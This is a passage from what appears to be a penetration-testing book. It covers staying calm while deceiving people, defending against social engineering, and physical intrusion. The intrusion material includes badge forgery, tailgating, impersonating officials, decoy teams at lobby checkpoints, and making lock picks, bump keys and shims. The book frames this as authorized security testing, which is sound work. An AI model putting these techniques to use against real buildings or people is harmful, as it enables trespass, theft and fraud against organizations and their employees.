but put it 50 feet in the air and suddenly it's quite difficult—not because the physical
actions are any different, but because your mind is now acutely aware of the risk of fall-
ing. To your body, it’s the same. In social engineering, you may experience many differ-
ent emotions, from fear to exhilaration. To achieve your goal, you're lying to and de-
ceiving people who are probably being nice and even helpful to you. It can be extremely
stressful.
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If you appear nervous, you will be less convincing. People are more likely to ques-
tion you when you appear out of place or uncomfortable; it will get you noticed for all
the wrong reasons. Maintaining calm while attempting to deceive someone might not
come naturally or easily for you depending on your personality and life experience. It
can be learned, however. The most useful metric for determining how calm you are is
your heart rate. During a face-to-face encounter with your subject or subjects, you will
most likely experience an increase in adrenaline. This is due to a natural fight-or-flight
response to what your mind perceives as a possible conflict or confrontation. This will
elevate your heart rate and make your palms and/or face sweat, which may make you
look nervous. Looking nervous is a bad thing for a social engineer who is trying to con-
vince someone they belong and that everything is normal.

In order to consciously manage this response, you must start by knowing your rest-
ing heart rate. An easy way to determine this is to purchase an inexpensive wrist heart
rate monitor such as a Mio Watch. The most accurate way to determine your resting
heart rate is to take your pulse when you first wake up but haven't gotten out of bed.
When you're conversing with a face-to-face target, you'll want to be within about
20 percent of your resting heart rate to look comfortable. That means if your resting
heart rate is 65 beats per minute (bpm), it shouldn’t get over 80 bpm or you'll start to
appear nervous. Often, an inexperienced social engineer will have a heart rate of 120 bpm
or more during their first face-to-face attempts. This is especially true with physical
penetrations, which are described in Chapter 5.

You can learn to manage your heart rate using basic relaxation techniques such as
meditation, acupressure, and reflexology. Find a technique that works for you, practice
it, and use it just prior to executing your SEA. You can also try to retrain or desensitize
your instinctive conflict response. Try this exercise: As you walk in public and encounter
people, look them directly in the eye and hold eye contact with them until they break
it or you move past them. Don't stare like a psychopath, but try not to smile or look
threatening, either; just hold eye contact. Your heart rate will likely elevate in early
trials, but over time this will become easier and your body won’t respond as strongly to
it. Keep in mind that this type of eye contact is a primal human dominance posture and
could elicit an angry response. If confronted, simply and apologetically explain that
you thought you knew the person but weren't sure. Over time you will gain more con-
trol over your responses and reactions to conflict. You will be able to remain calm and
act naturally when confronting a target or being confronted.

You should also practice any discrete components of your attack plan multiple
times prior to execution. The more times you repeat something, the more likely you'll
be comfortable saying it one more time. It's advisable to have a base script to work from
and then deviate as circumstances necessitate. Rehearsing as a team also helps. The
more possible deviations you can think of ahead of time, the more relaxed and pre-
pared you'll be when the time comes for you to meet your target face to face.

In addition to rehearsing what you'll say, rehearse what you'll have with you—a
computer bag, for instance, or maybe your lunch. Think about how you'll hold it. A
common beginner mistake is to not have something to do with their hands. It seems like
something you shouldn’t have to think about, but when you feel self-conscience, you
often forget what to do with your hands, and awkward movements can make you look



Chapter 4: Social Engineering Attacks

9l

very nervous. If in doubt, make sure you have things to hold, or simply think about
where to put your hands in advance. Practice standing with your hands in your desired
pose in front of a mirror, find positions that look best for you, and practice them.

Another common nervous response brought on by the fight-or-flight instinct is ex-
cess salivation. This can make you swallow nervously while you're trying to talk but can
be easily remedied with chewing gum, a breath mint, or hard candy, any of which will
keep your salivation more or less constant during the stressful part of your encounter
with your target.

Reference
Mio Heart Monitor http://mioglobal.com

Defending Against Social Engineering Attacks

Hardening your environment to withstand SEAs, especially targeted ones, is more a
matter of training than a traditional security control. An SEA goes right to the most
vulnerable point in a company’s defenses: its employees. For the reasons discussed in
the preceding sections, people make decisions daily that impact or even compromise
implemented security measures. Every con man knows that there is a combination of
words or actions that will get almost anyone to unknowingly perform an action or re-
veal information they shouldn’t. This is because most people do not perceive the risk of
their actions. Failure to perceive the risk until it is too late is at the heart of most SEAs.

A bank teller knows that they are working in an environment that requires security
and vigilance. They probably don’t have to be reminded of the threat of robbery; they
are aware of it and understand the risk of being robbed is very real. Unfortunately, the
level of awareness is not the same in most corporate environments. Employees typi-
cally perceive the threat of an SEA to be hypothetical and unlikely, even if they've been
victimized in the past. This has to do with the perceived value of information assets.
Money has an overt value, whereas information and data do not.

The best defense against SEAs is awareness training and simulated targeted attacks.
A comprehensive program will help employees recognize the value of the assets being
protected as well as the costs associated with a breach. The program should also give
real-world attack examples that demonstrate the threat. In conjunction with awareness
training, simulated attacks should be regularly performed in an attempt to determine
the effectiveness of the awareness program. Results can then be fed back into the pro-
cess and included in ongoing awareness training.
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Physical Penetration
Attacks

Placing yourself or a member of your team inside the target organization during a pen-
etration test can be an expeditious way to access the data network infrastructure from
behind the border controls. It is often far easier to achieve your objective from inside
the building than from outside. Physically penetrating your target organization for the
purposes of obtaining sensitive information might not seem immediately obvious. In
fact, physical access is increasingly a common factor in cybercrime, especially in the
theft of personal private information for the purposes of identity theft.

Breaching the perimeter controls of any organization will vary in difficulty depend-
ing on the sophistication of the systems and procedures the organization has employed
to prevent such breaches. Even if sophisticated systems such as biometric locks are em-
ployed, they often are easily bypassed because of relaxed or improperly followed proce-
dures. Conversely, a seemingly open environment can be quite difficult to breach if
personnel of the target organization are well trained and observe appropriate proce-
dures. The gray hat hacker must make an accurate assessment of the environment before
attempting a physical penetration. If the attempt is noticed, the whole penetration test
may be compromised because the employees of the target organization will talk about
an attempted break-in!

This activity frequently requires good social engineering skills and builds upon top-
ics discussed in the previous chapter. Once the gray hat hacker is established behind the
border controls of the target organization, the attack opportunities are abundant.

In this chapter, you'll learn how to prepare and conduct a physical penetration.
We'll discuss the following topics:

Why a physical penetration is important
e Conducting a physical penetration

e Common ways into a building

Defending against physical penetrations
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Why a Physical Penetration Is Important

Anyone who has taken an information security class in the past ten years has probably
heard the “crunchy on the outside, soft on the inside” candy bar analogy of a data net-
work security model. This means that all the “hard” security controls are around the
outside of the network, and the inside of the network is “soft” and easy to exploit. This
architecture is largely prevalent on corporate networks and has even shaped contempo-
rary malware. Despite this being common knowledge, you will, more often than not,
encounter this network security architecture in your role as a gray hat hacker. It is im-
portant to establish what damage could be done by a determined or bold attacker, one
who may not even be all that technology savvy but knows someone he could sell a
computer to. The value of personal private information, especially financial or transac-
tion data, is now well known to smaller and less specialized criminals, and even to
gangs. The attack doesn’t always come from across the world; sometimes it’s local, re-
markably effective, and equally devastating.

When you're initially discussing penetration testing services with your prospective
client, your client likely won’t bring up the physical penetration scenario. This scenario
often is not considered, or is overlooked, by CIOs, IT directors, and managers who do
not have a physical security background, unless, of course, they've already been victim-
ized in this way. Thus, it'll be up to you to explain this type of testing and its benefits.
In the majority of cases, once a client understands the reasons for conducting the phys-
ical penetration test, they will eagerly embrace it.

Conducting a Physical Penetration

All of the attacks described in this chapter are designed to be conducted during normal
business hours and among the target organization’s employees. In this way, you can test
virtually all of the controls, procedures, and personnel at once. Conducting an attack
after hours is not recommended. Doing so is extremely dangerous because you might be
met by a third party with an armed response or attack dogs. It also is relatively ineffec-
tive because it essentially only tests physical access controls. Finally, the consequences
of getting caught after hours are more serious. Whereas it may be slightly uncomfort-
able to explain yourself to an office manager or security officer if you're caught during
the day, explaining yourself to a skeptical police officer while in handcuffs if you're
caught during the night might lead to detention or arrest.

You should always have a contact within the target organization who is aware of
your activities and available to vouch for you should you be caught. This will typically
be the person who ordered the penetration test. While you shouldn’t divulge your plans
in advance, you and your client should agree on a window of time for the physical pen-
etration activities. Also, since you will be targeting data assets, you may find yourself
covertly working in close proximity to the person who hired you. It's a good idea to ask
your client in advance to act as if they don’t know you if they encounter you on the
premises. Since they know what you have planned, they are not part of the test. Once
this groundwork is in place, it is time to begin the planning and preparations to con-
duct the physical penetration.
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Reconnaissance

You have to study any potential target prior to attempting a physical penetration. While
most of the footprinting and reconnaissance activities in this book relate to the data
network, the tools to look at the physical entities are much the same—Google Maps
and Google Earth, for instance. You also have to physically assess the site in person
beforehand. If it’s possible to photograph potential entrances without drawing atten-
tion to yourself, those photos will be useful in planning your attack. Getting close
enough to determine what kind of physical access controls are in place will be helpful
in planning your attempt to subvert them.

The front entrance to any building is usually the most heavily guarded. It's also the
most heavily used, which can be an opportunity, as we’'ll discuss later in this chapter.
Secondary entrances such as doors leading to the smokers’ area (smokers’ doors) and
loading docks usually offer good ingress opportunity, as do freight elevators and service
entrances.

Sometimes smoking doors and loading docks can be discernible from publicly
available satellite imagery, as this Google Earth image of a loading dock illustrates:
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When you survey the target site, note how people are entering and exiting the build-
ing. Are they required to use a swipe card or enter a code to open the outer door? Also
note details such as whether the loading dock doors are left open even when there isn't a
truck unloading. You should closely examine the front door and lobby; choose someone
from your team to walk in and drop off a handful of takeout menus from a nearby
restaurant. This will give you some idea of how sophisticated their security controls are
and where they're located. For instance, you may walk into an unsecured lobby with a
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reception desk and see that employees use a swipe card to enter any further beyond the
lobby into the building. Or you could encounter a locked outer door and a guard who
“buzzes” you in and greets you at a security desk. Observe as much as you can, such as
whether the security guard is watching a computer screen with photo IDs of people as they
use their swipe or proximity cards to open the outer door. Keep in mind that this exposes
you or one of your team members to an employee of the target organization who may
recognize you if you encounter them again. If you've encountered a professional security
guard, he will remember your face, because he’s been trained to do so as part of his job.
You'll most likely be on the target organization’s security cameras as well.

Sometimes the smokers’ door or a viable secondary entrance will be behind a fenced
area or located on a side of the building away from the street or parking area. In order
to assess the entrance up close, you'll have to look like you belong in the area. Achiev-
ing this really depends on the site and may require you to be creative. Some techniques
that have been used successfully in the past include the following:

e Using a tape measure, clipboard, and assistant, measure the distance between
utility poles behind a fenced-in truck yard in order to assess the loading docks
of a target. If confronted, you're just a contractor working for the phone or
electric company.

e Carrying an inexpensive pump sprayer, walk around the perimeter of a
building spraying the shrubs with water while looking for a smokers” door
or side entrance.

e Carrying your lunch bag with you, sit down outside and eat lunch with the
grounds maintenance crew. They'll think you work at the organization; you'll
get to watch the target up close for a half hour or so. You may even learn
something through small talk.

In addition to potential ingress points, you'll want to learn as much as possible about
the people who work at the organization, particularly how they dress and what type of
security ID badge they use. Getting a good, close look at the company’s ID badges and
how the employees wear them can go a long way toward helping you stay out of trouble
once you're in the building. Unless the target organization is large enough that it has its
own cafeteria, employees will frequent local businesses for lunch or morning coffee. This
is a great opportunity to see what their badges look like and how they wear them. Note
the orientation of the badge (horizontal vs. vertical), the position of any logos or photos,
and the color and size of the text. Also note if the card has a chip or a magnetic stripe.

You need to create a convincing facsimile of a badge to wear while you're in the
target’s facility. This is easy to do with a color printer and a few simple supplies from an
office supply store such as Staples or OfficeMax. If the badge includes a corporate logo,
you'll most likely be able to find a digital version of the logo on the target organiza-
tion’s public website. In addition to creating your badge, you'll want to use a holder
that is similar to those observed during your reconnaissance.

Now that you know about some potential ingress points, some of their access con-
trols, what the security badges look like, and how the employees dress, it's time to come
up with a way to get inside.
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Mental Preparation

Much like the preparation for the social engineering activities discussed in the previous
chapter, a significant part of the preparation for a physical penetration is to practice
managing yourself in a stressful and potentially confrontational situation. You're going
to meet face to face with employees of your target. If you're nervous, theyre going to
notice and may become suspicious. (If you are reading this chapter before Chapter 4,
you should refer to the section “Preparing Yourself for Face-to-Face Attacks” prior to
actually attempting a physical penetration.) Most importantly, you should be ready to
answer questions calmly and confidently. If the inquisitive employee is simply curious,
your level of confidence may determine whether they go on their way, satisfied with
your answers, or become suspicious and ask more questions, call security, or confront
you directly. You must always remain calm. The calmer you remain, the more time
you'll have to think. Remember, you're working for them, you're both on the same
team, you're not doing anything wrong, and you're allowed to be there. If you can con-
vince yourself of that, you will carry yourself in a way people can simply sense, you'll
blend in.

It's a good idea to practice ahead of time with a partner your answers to questions
you'll commonly encounter. For instance:

e [ don't think we've met; are you new?
e Who are you working for?

e We have this conference room scheduled; didn't you check with
reception first?

e Are you lost/looking for someone/looking for something?

e May I help you?

These are just a few common questions you may encounter. Having a smooth and
practiced answer for each will go a long way toward keeping your cover. You will also
have to think on your feet, however, as you'll certainly be asked questions you haven't
thought of. These questions will require quick thinking and convincing answers, which
is another reason why it is so important to be mentally prepared and remain calm dur-
ing a physical penetration.

Common Ways into a Building

In this section, we're going to discuss a few common and likely successful physical pen-
etration scenarios. As with the social engineering attacks described in Chapter 4, it is
important to keep in mind that these attacks may not work every time, or may not work
on your specific target, as each environment is different. We're not going to discuss
what attacks to perform once you're inside the facility; rather, insider attacks will be
covered in more detail in Chapter 6. The goal of this chapter is simply to give you
enough information to enable you to get into your target’s facility. Once inside, you can
then put the valuable things you've learned in this book to their intended use.
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The Smokers’ Door

Whether it’s a bank, a factory, or a high-rise office building, employees typically are not
allowed to smoke in the office environment. This has led to the practice of taking a
smoking break outside of the building. As a cluster of employees huddled around an
ashtray smoking isn't the image most companies want to project to the public, the
smoking area is usually located at or near a secondary entrance to the building. This
entrance may or may not be protected by a card reader. In some cases, the smokers’
door is propped open or otherwise prevented from closing and fully locking. Because
the smokers’ door is a relatively active area and mostly used for one specific purpose, it
represents an excellent opportunity to enter a building unnoticed, or at least unchal-
lenged.

In order to use the smokers’ door as your physical access to your target, you need
only three items: a pack of cigarettes, a lighter, and a convincing ID badge. If possible,
you should park your car close to or within sight of the smokers’ door so that you can
watch and get the rhythm of the people going in and out of the door. You should be
dressed as if you just got up from your desk and walked out of the building. Do not
attempt to enter a smokers’ door dressed as if you're just arriving to work. Everything
you need for your activities inside must be concealed on your person. You must also be
prepared for some small talk if you happen to encounter someone at the door.

A good way to approach the door is to wait until no one is near the door and then
walk up holding a pack of cigarettes visibly in your hand. That way, if someone opens
the door and sees you approaching, they'll assume you're returning from your car with
more cigarettes. It's also easy to explain if confronted. If the door is locked, pick up a
cigarette butt from the ashtray or light one you've brought and wait for the door to
open. When it does, simply grab the door, toss your cigarette butt into the ashtray, and
nod to the person emerging as you enter. It's best to carry your pack visibly as you walk
into the building. In most cases, entry is as simple as that. We'll discuss what to do once
you're inside later in this chapter.

If traffic through the door is really busy, you may have to smoke a cigarette in order
to achieve your goal. It's not hard to fake smoking, with a little practice. Approaching
the door with the pack of cigarettes visible, remove one and light it. You must be pre-
pared to explain yourself. That means everything from why you just walked up to the
door from the outside to who you're working for and why you haven't been seen smok-
ing here in the past. If you have convincing answers, you won't have a problem.

Having a conversation with an employee while trying to gain access can help keep
you within reach of the entrance you want, but it can also go wrong very quickly. One
way to mitigate the threat of a conversation going awry is to have an accomplice watch-
ing nearby. Negotiate a signal in advance that indicates you need help, such as locking
your fingers and stretching your arms palms out in front of you. Seeing the signal, your
accomplice can call you to interrupt the conversation with the employee. You may even
be able to time the one-sided conversation with an opportunity to enter the building:
“Yes, I'm on my way back to my desk now.” Since most mobile phones have a silent
mode, it is also possible to simply answer your phone as if someone has called you. If
you do that, be sure the ringer is turned off to avoid an actual call coming in during
your ruse!
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In some cases, the smokers’ door may simply be propped open, unattended, with
no one about. In that case, just walk in. You should still act as if you're returning from
your car, pack of cigarettes in hand, as you may be tracked on a security camera. Re-
member, just because you don’t see anyone doesn’t mean you're not being watched.
Take your time and pretend to smoke a cigarette outside the door. It'll help answer the
questions anyone who might be watching is asking themselves. Charging straight for
the door and hastily entering the building is a good way to alert a security guard to the
presence of an intruder.

Manned Checkpoints

In some penetration tests, you will encounter a manned checkpoint such as a guard
desk or reception area in the lobby of a building. Sometimes visitors are required to
check in and are issued a visitor badge before they are allowed access to the building.
In the case of a multifloor or high-rise office building, this desk is usually between the
lobby doors and the elevators. In the case of a building in a high-security area, visitors
and employees alike may be required to enter through a turnstile or even a mantrap
(described later in the chapter). This all sounds rather formidable, but subverting con-
trols like these can often be rather simple with a little bit of creative thinking and some
planning.

Multitenant Building Lobby Security

Multifloor, multitenant office buildings usually have contract security staff positioned
in the lobby. The security procedure is usually straightforward: you sign in at the desk,
present a photo ID, and explain who you are there to see. The guard will call the person
or company, confirm you have an appointment, and then direct you to the appropriate
elevator. There may also be a badge scanner. In most cases, you will be issued an adhe-
sive-backed paper visitor badge, which may have your name and a printed photo of you
on it.

If you wish to fully understand the lobby security process for a specific building
prior to attempting to subvert it, make an appointment with another tenant in the
building. Make arrangements, for example, to talk to another tenant’s HR department
about a job application, to drop off donation forms for a charity at another tenant’s PR
department, or even to present a phony sales pitch to another tenant. This will give you
the experience of going through the building security process as a visitor, end to end.
You will also get a close look at the visitor badge that is issued. Most lobby security
companies use a paper self-adhering badge that changes color in a set amount of time
to show it has expired. This works by exposure to either air or light. By peeling your
badge off and placing it inside a book or plastic bag, you will slow down this process,
possibly enabling you to reuse the badge on a different day (assuming they don't ask
for it back before you leave the building). If the badge fades or you wish to include
other team members in the physical penetration attack, visitor badges are widely avail-
able at most office supply stores. It is also possible to make a printed facsimile of the
badge, printed on self-adhesive label stock; it only has to look convincing from a short
distance.
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Once you have a visitor badge, it's time to get to your target’s floor. You can usually
determine which floor of the building is occupied by your target by using public re-
sources, such as those you can locate with Google. It's not uncommon for a company
to list departmental floors on its public website. It’s also increasingly common to un-
cover property leases online if your target company is publicly traded. The leases speci-
fy which properties and floors are leased, and you may discover offices that are not
listed on the public website or building directory.

The whole point of the visitor badge is to get you into the building without having
to check yourself in with a legitimate ID badge. If the building you're trying to enter
does not have turnstiles or some sort of ID system, you can certainly just try to get onto
the elevators using a facsimile of the target company’s badge. If turnstiles are used, then
the visitor badge is more likely to be successful. With a visitor badge, you can use bag
checks and scanners to your advantage is some cases. By entering the lobby and pro-
ceeding directly to the bag checker or scanner operator, they will see your visitor badge
and assume you've been cleared by the front desk guard, while the front desk guard will
assume the bag checker or scanner operator will send you back if you don’t have a
badge. This works especially well in a busy lobby. A quick scan or peek at your com-
puter bag and you're on your way!

If there are no turnstiles, entry to the building may be as simple as following a
crowd of people into the building. Lobby security in some areas is remarkably lax, us-
ing only one or two guards who simply eyeball people walking in and try to direct visi-
tors to their destinations. In this case, gaining access to the building is as simple as
entering during a high-volume traffic time such as the start of the work day or the end
of the lunch hour. In this case, you'll want to have a convincing facsimile of an em-
ployee or visitor badge from the target company.

Some lobby security will have a guard at a choke point where one person passes
through at a time. The guard will check credentials or, in some cases, watch a video
screen as each person swipes their ID card to ensure the photo of them that appears
onscreen matches. This level of security is very difficult to defeat directly. A better ap-
proach would be to gain access to the building by arranging some sort of an appoint-
ment with another tenant, as previously discussed. While most security procedures
require that a visitor be vetted by the hosting tenant, very few processes require the ten-
ant to notify lobby security when the visitor leaves. This gives you an ample window of
opportunity to try to access the floor of your target by removing your visitor badge and
using your fake company ID badge once you've concluded your appointment with the
other tenant. If for some reason you're still not sure which floor(s) your target occupies,
you can always follow someone in with a badge from your target company and observe
which floor they exit on. As you get onto the elevator, just press the top-floor button
and watch. You can then get off on the target’s floor on your way back down.

If the target company is located in a multitenant high-rise building, it mostly likely
has offices on multiple floors if it's not a small company. It will be much easier to make
an entrance onto a floor that is not used for general public reception. The main recep-
tion desk usually has special doors, often glass, a receptionist, and a waiting area. It'll
be like the lobby, but a lot harder to get past. Employee-only floors typically have a
regular door, usually locked but unmanned. We'll talk about getting by locked doors a
little later in this chapter.
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Campus-Style or Single-Tenant Buildings

If the target company owns its own buildings or rents them in their entirety, it may
provide its own security personnel and procedures to manage lobby or checkpoint se-
curity. This will require an entirely different approach to gaining entry to the building
beyond the checkpoint or lobby. While it is possible to figure out what kind of visitor
badge system is used, you'll only get to try that once as you can’t test it on another ten-
ant in the building. You could try to get an appointment with someone inside the
building as well, but they’ll most likely escort you to the lobby or checkpoint and take
your visitor badge when your meeting is over.

This sort of checkpoint is best defeated as a team, with one or more team members
providing a distraction while another skirts the checkpoint. Unless the target company
is very large or operating in a high-security environment, it will not have turnstiles. It
will either have a locked lobby to which a guard inside grants access to visitors while
employees use a key card access system, or have an open lobby with a desk. Both can be
defeated in essentially the same way.

Again, this entry is best attempted during the lunch hour. You need as many decoys
as there are guards at the desk, the idea being to engage each one of them while an-
other member of the party walks by posing as an employee. The decoys should be
dressed as if they are just arriving, whereas the entrant should dress as though he’s left
and come back with his lunch. Anything the entrant needs inside should be concealed
on his person. The entrant should answer the guard’s questions visually before they're
even asked—he should be wearing a convincing facsimile of the target company’s badge
and carrying a bag of takeout food from a local vendor. It's best to wait for a group of
employees returning from lunch or with their lunch; the more traffic in the lobby, the
lower the chance of being confronted. If the exterior door is locked, the first decoy rings
the bell and says she has an appointment with an employee. She can give the name of
a real employee, researched from public sources or social engineering, or just a made-
up name; the guard will probably let her in while he tries unsuccessfully to verify her
appointment.

When the door opens, the decoy holds the door open for the team member posing
as the employee, who may even feign a card swipe as he enters. The decoy should walk
directly toward the guard or lobby desk while the entrant team member peels off to-
ward the elevator or stairs carrying his lunch. Again, joining a group returning from
lunch will help as well. If multiple guards are on duty, the decoy holds the door for the
second decoy, and so on until the guards are occupied. In most cases, there will be no
more than two guards or receptionists at the lobby checkpoint.

If the exterior door is unlocked but there is a locked interior door, the decoy(s)
should still enter first and occupy the guard’s attention while the entrant attempts to
tailgate someone through the locked door. Timing is more critical in this case, and car-
rying a bigger load may also help, something cumbersome enough to encourage an-
other employee to hold the door open. Keeping with the lunch scenario, it could be
made to look like multiple lunch orders in a cardboard box.

Unlike the multitenant building scenario, in this environment, once you are past
the lobby checkpoint, you most likely have access to the entire building. We'll talk a bit
about what to do once you're inside a little later in this chapter.
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Mantraps

A mantrap is a two-door entry system. The entrant is allowed through the first door,
which then closes and locks. Before the second or inner door unlocks and opens, the
entrant must identify and authenticate himself. If he does not, he’s trapped between the
two doors and must be released by the security guard. Properly implemented and oper-
ated, a mantrap cannot be directly subverted except by impersonation. This is difficult
because you would have to obtain functional credentials and know a pin or, worse, use
a biometric. It’s just not a viable entry point at the testing level discussed in this book.
When confronted with a mantrap, find a different way in or talk your way past it using
the pretense that you are a visitor.

Locked Doors

If you plan to go places in a building without authorization, you should be prepared to
run into locked doors. During penetration tests, you may opt to subvert physical locks
by picking, bumping, or shimming them, all of which are demonstrated in this section.
Directly subverting biometric locks is difficult, time consuming, and beyond the scope
of this book. We'll meet the challenge of the biometric access control in a low-tech
fashion by waiting for someone to open it or by simply giving someone a convincing
reason to open it for us.

The Unmanned Foyer

So you're past the main lobby, you've found an employee-only floor, and now you're
stuck in the foyer between the elevators and the locked office doors. How do you get
past them and into the offices beyond? You'll have to wait until either someone leaves
the office to take the elevator or someone gets off the elevator and uses their key card
to open the door. Like so many steps in a physical intrusion, you have to be prepared
to present a convincing reason why you're waiting or loitering in that area. You may
even be on camera while you're waiting. One simple way to do this is to feign a phone
call. By talking on your mobile phone, you can appear to be finishing a conversation
before entering the office. This is believable and can buy you quite a bit of time while
you wait.

You should position yourself near the door you want to enter. Should an employee
exit to take the elevator or exit the building, keep talking on your phone, grab the door
before it closes, and keep walking. If an employee arrives on the elevator and unlocks
the door, grab the door handle or use your foot to prevent the door from closing en-
tirely and latching. This will provide some space between you and the person who just
entered.

Conversing on a mobile phone can deter an employee from inquiring about your
presence. In most cases, an employee won't interrupt you as long as you don’t look out
of place and your ID badge looks convincing. The gray hat hacker performing a physical
intrusion must always seek to pre-answer questions that are likely to come up in an
employee’s mind, without speaking a word.
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The Biometric Door Lock

The biometric door lock is not infallible, but subverting it by emulating an employee’s
biometric attributes is more an academic exercise than a realistic way past the door. The
easiest way to get past a biometric door is to follow someone through it or convince
someone inside that they should open it for you. You could pose as a safety inspection
official and ask to speak to the office manager. Every door opens for the fire inspector!
Since these positions are often municipal and un-uniformed, they are easily imperson-
ated. Before impersonating an official, know your state and local laws! Sometimes it’s
safer, but less effective, to impersonate a utility worker such as an employee of the tele-
phone company or electric company. It's also more difficult because they have special-
ized tools and in many cases are uniformed. If your target is a tenant in the building,
claiming to work for the building management is relatively low risk, mostly effective,
and does not require a uniform.

The Art of Tailgating
This chapter has suggested several times that the entrant attempt to follow an employee
through an access-controlled door before the door has a chance to close. This is known
as tailgating. It is a common practice at many companies despite being clearly prohib-
ited by policy. It's no secret why, either: think of a long line of people opening and
closing a door one at a time in order to “swipe in” individually. While this does happen
at security-conscience companies, it doesn’t happen at many other companies. Several
people go through the door at once as a matter of simple logistics. This practice can be
exploited to gain unauthorized entry to a facility. It's a matter of timing your opportu-
nity and looking like you belong. Whether it's an exterior or interior door, pick a time
of high-volume traffic and find a place to wait where you can see people approaching.
Join them as they are funneling toward the entry and try to follow them in. Someone
will likely hold the door for you, especially if you're holding something cumbersome.
You will be most effective at this technique if you master fitting in with the crowd
and timing your entry so that you do not arouse suspicion. You should also practice
using your foot or grabbing the handle to prevent the door from completely closing
and latching while you swipe your fake ID card. When practiced, it looks convincing
from a short distance. The loud “pop” of the solenoid-activated lock can even be simu-
lated with a sharp hard twist of the door handle.

Physically Defeating Locks

In some cases it may be advantageous to defeat a physical lock, such as a padlock on a
fence gate, a door lock, or a filing cabinet lock. Most common locks can be easily de-
feated by one of several methods with a little practice and some simple homemade
tools. In this section, we'll demonstrate how to make three common lock-picking tools
and then demonstrate how they can be used to open the same lock. To simplify this
exercise, we'll use a common lock, the Master Lock No. 5 padlock, which is shown
throughout the figures in this section. A Master Lock No. 5 padlock is inexpensive and
can be purchased at almost any hardware store. It's an excellent example of the cylinder
and pin, or “tumbler,” technology used in most locks.
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Before you attempt to defeat a mechanical lock, it's important to understand how a
basic cylinder lock and key work. A lock is simply a piece of metal that has been drilled
to accept a cylinder of metal, which is attached to a release or catch mechanism such as
a door bolt. The cylinder rotates to activate the release and open the door. Holes are
drilled through the metal frame of the lock and into the cylinder. Small two-piece,
spring-loaded pins are then positioned in the hole. The pins prevent the cylinder from
rotating unless the line at which they are split lines up with the gap between the cylin-
der and the lock frame. A slot into which a key fits is cut in the cylinder. When the key
is inserted, the teeth of the key position each pin correctly so that their splits all line up
and the cylinder can be rotated, as shown in Figure 5-1.

While there are many variations on basic lock design, it is usually possible to open
a lock without the key by manually manipulating the pins to line up with the cylinder.
Two common ways to do this are picking and bumping.

Making and Using Your Own Picks

The first method we’ll use to open our example lock is a classic pick. Pick tools come in
a wide variety of shapes and sizes to accommodate both the variety of locks manufac-
tured and the personal preference of the person using the tools. Although lock-picking
tools are widely available online, it's easy to make a simple “snake rake” tool and a ten-
sion wrench out of a hacksaw blade and open our lock. The tension wrench is used to
place a gentle rotational shear load on the cylinder, while the rake tool is used to bounce
the pins or tumblers.

Figure 5-1
Tumbler lock
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CAUTION Before you order or make lock-picking tools, it’s wise to take a
moment to understand your local and state laws, as simply possessing such
tools is illegal in some areas if you are not a locksmith.

Start with common hacksaw blades from the hardware store and cut them into us-
able sizes, as shown in Figure 5-2. The left frame of Figure 5-2, starting from the top,
shows a six-inch mini-hacksaw blade, a tension wrench made from the same, a com-
mercial rake tool, a rake tool created from a hacksaw blade, and a piece of hacksaw
blade prior to machining. To make the rake from a hacksaw blade, use a grinding wheel,
Dremel tool, or hand file, as well as appropriate safety gear, to shape the blade to look
like a commercial rake tool. Make sure as you work the metal that you repeatedly cool
it in water so it does not become brittle. To create the tension wrench, you'll need to
twist the metal in addition to shaping it with a grinder or Dremel tool to fit in the lock
cylinder with enough room to use your rake. Twist it by holding it with a pair of pliers,
heating it with a propane torch until the section you want to bend is glowing red, and
then twisting it with another pair of pliers while it’s still glowing. Immediately cool it
in water. There are good video tutorials available online that show how to make your
own lock-picking tools and also cover the finer points of working with metal.

To use your newly made tools, insert the tension wrench into the lock cylinder and
maintain a gentle rotational pressure as you bounce the pins up and down by moving
the rake in and out, as shown in the right panel of Figure 5-2. The correct pressure will
be one that allows the pins to move but causes them to stick in place when they align
with the cylinder wall. It will take a few tries and some patience, but when you get it
right, the lock cylinder will turn, opening the lock. Your first attempt at the Master Lock
No. 5 padlock may take a half hour or more to succeed, but with a few hours of prac-
tice, you'll develop a feel for the proper tension and should be able to open it in two or
three quick tries. The picking principal is the same for any cylinder lock, but the tech-
nique and tools required may vary depending on the complexity, number, and arrange-
ment of the security pins or tumblers.

Making and Using a Bump Key

Lock “bumping” builds on the principal of picking but can be much faster, easier, and
a lot less obvious. A bump key is a key that fits the cylinder keyway and is cut with one
uniform-sized tooth for each security pin in a given lock, four in our example. Every

Figure 5-2
Lock picking
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lock has a specific number of security pins. In our example, the number can be deter-
mined by looking at the number of valleys between the teeth of the original key, each
of which corresponds to an individual pin. A more experienced user will have an assort-
ment of bump keys arranged by lock manufacturer, model, and security pin count. The
key is partially inserted into the lock and then tapped with a small hammer while
maintaining a gentle rotational pressure on the key. This causes the pins to jump up-
ward simultaneously. As they spring back into their static position, the slight rotational
pressure on the lock cylinder causes them to stick, similar to the picking method.

In order to demonstrate this on our example lock, we’'ll use the spare key provided
with the lock and file a uniform tooth for each security pin in our lock. You need one
tooth for each pin so that you can bounce them all at once when you strike the key with
the hammer. In the left pane of Figure 5-3, the top key is the actual key to the lock and
the lower key is the bump key worked from the spare with a Dremel tool. In our ex-
ample, we'll use a screwdriver handle as our hammer. Insert the key into the lock with
one key valley remaining outside the keyway, which is three pins in our example. Apply
some slight clockwise pressure and tap it with the hammer, as shown in the right pane
of Figure 5-3. As with basic lock picking, this technique requires patience and practice
to develop a feel for how much rotational pressure to keep on the key and how hard to
tap it with the hammer. While bumping can be faster and easier than picking, you'll
need to have a key that fits the cylinder keyway and number of pins for each lock you
want to open with this method.

Making and Using a Shim

Some padlocks, both key and combination, retain the security hoop by inserting a
small metal keeper into a groove, as shown in the center pane of Figure 5-4. When the
key is inserted or the combination turned, the keeper moves out of the groove to free
the metal security hoop. This is true for our example lock, which uses two such keeper
mechanisms. The keeper is often spring loaded, so it is possible to forcibly push it aside
and free the hoop by using a simple shim. While commercial shims are widely avail-
able, we'll construct ours using the thin metal from a beverage can.

Using the pattern shown in the left frame of Figure 5-4, carefully cut two shims
from beverage can metal using scissors. Because the metal is very thin, fold it in half
before cutting to make a stronger shim. After cutting the shim tongue, fold the top part
down two or three times to form a usable handle. Be very careful cutting and handling

Figure 5-3
Lock bumping
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Figure 5-4
Lock shimming

beverage can metal as it can be razor sharp! Next, pre-bend your shims around a small
cylindrical object such as a pencil or pen until they look like the one at the bottom of
the left frame of Figure 5-4. Now carefully insert the shim into the gap between the lock
frame and security loop to one side of the keeper mechanism. Then, insert the second
shim. When both shims are fully inserted, rotate them to position the shim tongue
